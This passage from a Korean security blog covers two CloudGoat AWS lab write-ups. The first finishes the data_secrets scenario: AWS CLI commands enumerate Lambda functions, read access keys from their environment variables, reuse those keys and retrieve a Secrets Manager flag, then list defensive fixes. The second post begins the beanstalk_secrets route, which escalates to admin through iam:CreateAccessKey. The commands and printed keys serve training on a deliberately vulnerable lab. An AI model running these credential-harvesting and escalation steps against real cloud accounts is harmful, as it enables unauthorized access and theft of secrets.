&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;(붙여 넣은 후 Ctrl + O, Enter로 저장하고 Ctrl + X로 나오세요~)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 7. &lt;/b&gt;&lt;b&gt;Lambda 함수 정찰 (Pivoting)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;새로운&lt;span&gt;&amp;nbsp;&lt;/span&gt;ec2_role프로필을 사용하여 다른 서비스를 살펴볼 차례다. 이 권한으로 접근 가능한 람다 함수가 있는지 목록을 뽑아본다.&lt;/p&gt;
&lt;pre id=&quot;code_1773300319771&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws lambda list-functions --region us-east-1 --profile ec2_role&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;37&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGP6cV/dJMcabDT7PP/07yid6KU3jMPazVfgekfAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGP6cV/dJMcabDT7PP/07yid6KU3jMPazVfgekfAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGP6cV/dJMcabDT7PP/07yid6KU3jMPazVfgekfAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGP6cV%2FdJMcabDT7PP%2F07yid6KU3jMPazVfgekfAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;892&quot; height=&quot;37&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;37&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;목록 중에 &lt;b data-index-in-node=&quot;6&quot; data-path-to-node=&quot;6&quot;&gt;cg-lambda-function-cgidhl8rixa9p5 &lt;/b&gt;(cg-lambda-function-&amp;lt;CGID&amp;gt;형식)이 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이름을 확인했다면 다음 단계로 바로 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 8.&amp;nbsp;&lt;/b&gt;&lt;b&gt;Lambda 환경 변수에서 비밀 정보 추출&lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;개발자들이 실수로 DB 비밀번호나 API 키를 람다 설정값(환경 변수)에 적어두는 경우가 많은데 이를 이용해보려고 한다. 아래 명령어의 &amp;lt;FUNCTION_NAME&amp;gt; 자리에 방금 찾은 함수 이름을 넣고 실행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773300470458&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws lambda get-function --function-name &amp;lt;함수_이름_입력&amp;gt; --region us-east-1 --profile ec2_role&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; Configuration -&amp;gt; Environment -&amp;gt; Variables &lt;/span&gt;아래의 JSON 출력을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776538986504&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; &quot;Environment&quot;: {
            &quot;Variables&quot;: {
                &quot;DB_USER_ACCESS_KEY&quot;: &quot;AKIA32XTQ7QIIVHUCE4K&quot;,
                &quot;DB_USER_SECRET_KEY&quot;: &quot;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&quot;
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB_USER_ACCESS_KEY, DB_USER_SECRET_KEY 및&lt;span&gt;&amp;nbsp;&lt;/span&gt;Variables두 개의 변수가 표시되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;이 키는 다른 IAM 사용자의 것 같다. 이 자격 증명을 사용하여 로컬 컴퓨터에 새 프로필을 구성해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;최종 사용자 프로필 설정&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1776539039705&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws configure --profile lambda_user
# Enter the Access Key ID found in Lambda
# Enter the Secret Access Key found in Lambda&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;방금 찾은 키를 사용하여 lambda_user라는 이름의 새로운 프로필을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 플래그(Flag) 획득&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;새 사용자 계정으로 중요한 기밀 정보를 저장하는 데 자주 사용되는 AWS Secrets Manager에 대한 액세스 권한이 있는지 확인할 차례다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Secrets Manager 탈취&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 사용자는 아마도 &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;8&quot;&gt;Secrets Manager&lt;/b&gt;에 접근할 권한이 있을 것이다. 아래 명령어를 순서대로 날려보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. Secrets Manager 목록 확인&lt;/b&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjauduDp5mTAxUAAAAAHQAAAAAQvQs&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1776539298215&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; &quot;Name&quot;: &quot;cg-final-flag-cgidhl8rixa9p5&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&quot;Name&quot;: &quot;cg-final-flag-cgidhl8rixa9p5&quot; 이라는 이름이 보인다. &lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;해당 비밀 키의 값을 가져와야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;2. 플래그(Flag) 값 읽기&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;위에서 확인한 비밀의 이름을 --secret-id 뒤에 넣으면 된다.&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjauduDp5mTAxUAAAAAHQAAAAAQvgs&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidhl8rixa9p5 --region us-east-1 --profile lambda_user&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HUZO3/dJMcacQk1xt/55D23T1BzzkwcieAD4WbBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HUZO3/dJMcacQk1xt/55D23T1BzzkwcieAD4WbBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HUZO3/dJMcacQk1xt/55D23T1BzzkwcieAD4WbBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHUZO3%2FdJMcacQk1xt%2F55D23T1BzzkwcieAD4WbBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1934&quot; height=&quot;375&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&quot;&lt;b&gt;SecretString&lt;/b&gt;&quot; 항목에 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;16&quot;&gt;{ &quot;flag&quot;: &quot;cg-data-secrets-...&quot; }&lt;/b&gt; 형태의 최종 플래그가 보이면 이번 시나리오 실습은 끝이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 실습을 통해 클라우드 환경에서 설정 오류(Security Group)와 사소한 습관(환경 변수 하드코딩)이 결합했을 때, 어떻게 전체 인프라의 권한 탈취로 이어지는지 공격 체인(Kill-Chain)을 직접 확인할 수 있었다. 결국 클라우드 보안의 핵심은 서비스 간의 &lt;b data-index-in-node=&quot;168&quot; data-path-to-node=&quot;8,0&quot;&gt;철저한 권한 분리&lt;/b&gt;와 &lt;b data-index-in-node=&quot;179&quot; data-path-to-node=&quot;8,0&quot;&gt;지속적인 형상 관리&lt;/b&gt;에 있음을 깨달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 실습 종료 및 리소스 삭제 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;생성한 리소스들을 지우지 않으면 비용이 발생하므로&amp;nbsp;실습이 끝난 후&amp;nbsp;리소스를 지우면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773153902000&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cloudgoat destroy data_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-path-to-node=&quot;4&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-path-to-node=&quot;4&quot; data-index-in-node=&quot;0&quot;&gt;취약점 분석 (Vulnerability Analysis)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;자격 증명 노출 (Sensitive Data Exposure)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,1,0,0&quot;&gt;EC2 User Data&lt;/b&gt;: 인스턴스 초기화 스크립트 내 SSH 비밀번호가 평문으로 저장됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,1,1,0&quot;&gt;Lambda Environment Variables&lt;/b&gt;: 3차 권한(Secrets Manager 접근용) Key가 암호화 없이 노출됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;권한 관리 체계 미비 (Insecure IAM Policy)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 사용자에게 보안 그룹(Security Group)을 임의로 수정할 수 있는 권한 부여.&lt;/li&gt;
&lt;li&gt;서비스 간(EC2 &amp;rarr; Lambda) 불필요한 조회 권한이 허용되어 수평적 이동(Lateral Movement) 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;인스턴스 메타데이터 서비스(IMDS) 취약점&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안이 강화된 v2가 아닌, 세션 토큰 없이 접근 가능한 &lt;b data-index-in-node=&quot;32&quot; data-path-to-node=&quot;5,2,1,0,0&quot;&gt;IMDSv1&lt;/b&gt;이 활성화됨.&lt;/li&gt;
&lt;li&gt;서버 침투 후 단 한 줄의 curl 명령으로 IAM Role 탈취 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,0&quot;&gt;최소 권한 원칙(Principle of Least Privilege) 위배&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 리소스(EC2, Lambda)에 부여된 역할이 실제 업무 범위보다 과도한 권한을 가짐.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;대응 방안&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;자격 증명 보호 및 중앙화 관리&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,1,0,0&quot;&gt;Secrets Manager 도입&lt;/b&gt;: 소스 코드나 환경 변수에 키를 직접 입력하지 않고, AWS Secrets Manager를 연동하여 런타임에만 호출.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,1,1,0&quot;&gt;Parameter Store 활용&lt;/b&gt;: 구성 정보는 암호화된 파라미터로 관리.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;IAM 정책 고도화 (IAM Hardening)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,1,0,0&quot;&gt;최소 권한 부여&lt;/b&gt;: 각 서비스가 작동하는 데 꼭 필요한 권한만 할당(Permission Boundary 설정).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,1,1,0&quot;&gt;조건부 정책&lt;/b&gt;: 특정 IP 대역이나 특정 시간대에만 권한이 작동하도록 Condition 절 추가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,0&quot;&gt;네트워크 보안 강화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,1,0,0&quot;&gt;IMDSv2 강제 적용&lt;/b&gt;: 모든 EC2 인스턴스에서 IMDSv1을 비활성화하고 세션 토큰 기반의 v2만 허용.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,1,1,0&quot;&gt;보안 그룹 타이트닝&lt;/b&gt;: 22번(SSH), 3389번(RDP) 등 관리 포트는 특정 IP(점검용 점프 호스트 등) 외에는 원천 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,3,0&quot;&gt;지속적인 모니터링 및 로깅&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,3,1,0,0&quot;&gt;AWS CloudTrail &amp;amp; Config&lt;/b&gt;: 보안 그룹 변경이나 IAM 권한 오남용 발생 시 실시간 탐지 및 자동 대응(Remediation) 로직 구성.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AWS/CloudGoat</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/43</guid>
      <comments>https://chon29.tistory.com/43#entry43comment</comments>
      <pubDate>Thu, 12 Mar 2026 16:37:16 +0900</pubDate>
    </item>
    <item>
      <title>[ CloudGoat | Easy ] beanstalk_secrets 시나리오 실습</title>
      <link>https://chon29.tistory.com/42</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Github 링크&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1773120811033&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;cloudgoat/cloudgoat/scenarios/aws/beanstalk_secrets/README.md at master &amp;middot; RhinoSecurityLabs/cloudgoat&quot; data-og-description=&quot;CloudGoat is Rhino Security Labs' &amp;quot;Vulnerable by Design&amp;quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/beanstalk_secrets/README.md&quot; data-og-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/beanstalk_secrets/README.md&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cDFiEY/dJMb8U8RP2O/Y0lPcAvT7EkCkk6Ot4Omyk/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/n8P9H/dJMb9c9v4rt/OxKckkMFHsgoZk9XF0mFs1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400&quot;&gt;&lt;a href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/beanstalk_secrets/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/beanstalk_secrets/README.md&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cDFiEY/dJMb8U8RP2O/Y0lPcAvT7EkCkk6Ot4Omyk/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/n8P9H/dJMb9c9v4rt/OxKckkMFHsgoZk9XF0mFs1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;cloudgoat/cloudgoat/scenarios/aws/beanstalk_secrets/README.md at master &amp;middot; RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;CloudGoat is Rhino Security Labs' &quot;Vulnerable by Design&quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;README&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 개요&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rstA2/dJMcadnDtxF/PqqQXCZXkVKHQ53MOUnpzk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rstA2/dJMcadnDtxF/PqqQXCZXkVKHQ53MOUnpzk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rstA2/dJMcadnDtxF/PqqQXCZXkVKHQ53MOUnpzk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrstA2%2FdJMcadnDtxF%2FPqqQXCZXkVKHQ53MOUnpzk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;520&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 이 시나리오는 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;4&quot;&gt;Elastic Beanstalk&lt;/b&gt;의 설정 오류로 노출된 자격 증명을 탈취하고, 최종적으로&amp;nbsp;&lt;b data-index-in-node=&quot;61&quot; data-path-to-node=&quot;4&quot;&gt;IAM 권한 남용&lt;/b&gt;을 통해 관리자 권한을 획득하는 과정을 다룬다. 클라우드 환경에서 환경 변수 관리의 중요성과 과도한 IAM 권한 부여가 초래하는 위험성을 학습할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Exploitation Route&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;Bruteforce Permissions:&lt;/b&gt; 제공된 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;9,0,0&quot;&gt;Low-Privilege User&lt;/b&gt;의 AWS 자격 증명을 사용하여 실습을 시작한다. aws sts get-caller-identity 명령어를 통해 현재 자신의 신원과 접근 권한을 가장 먼저 확인하여 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;공격 가능 범위를 파악한다.&lt;/span&gt; &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Enumerate Elastic Beanstalk:&lt;/b&gt; 탐색된 권한을 바탕으로 Pacu의 elasticbeanstalk__enum 모듈을 사용하여 Elastic Beanstalk 애플리케이션 및 환경을 열거합니다. 이 과정에서 환경 변수가 잘못 구성되어 Secondary Credentials의 자격 증명이 노출된 EB 환경을 식별하고 해당 정보를 탈취한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;Check IAM Permissions:&lt;/b&gt; 탈취한 보조 자격 증명을 사용하여 IAM 리소스 및 권한을 분석한다. 이 계정이 시스템 내에서 어떤 추가적인 활동을 할 수 있는지 정찰하여 다음 단계로 나아가기 위한 취약점을 찾는다. &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,3,0&quot;&gt;Identify iam:CreateAccessKey:&lt;/b&gt; 권한 분석 중, 특정 관리자 사용자를 위해 새로운 액세스 키를 생성할 수 있는 &lt;b data-index-in-node=&quot;74&quot; data-path-to-node=&quot;8,3,0&quot;&gt;iam:CreateAccessKey&lt;/b&gt; 권한이 있음을 발견한다. 이는 관리자 계정 권한을 획득할 수 있는 결정적인 단서가 된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,4,0&quot;&gt;Generate Admin Key:&lt;/b&gt; 해당 권한을 남용하여 관리자 액세스 키를 생성하고, 이를 통해 대상 계정의 기존 인증 수단을 우회하고 관리자 계정의 제어권을 확보한다.&lt;/span&gt;&lt;/li&gt;
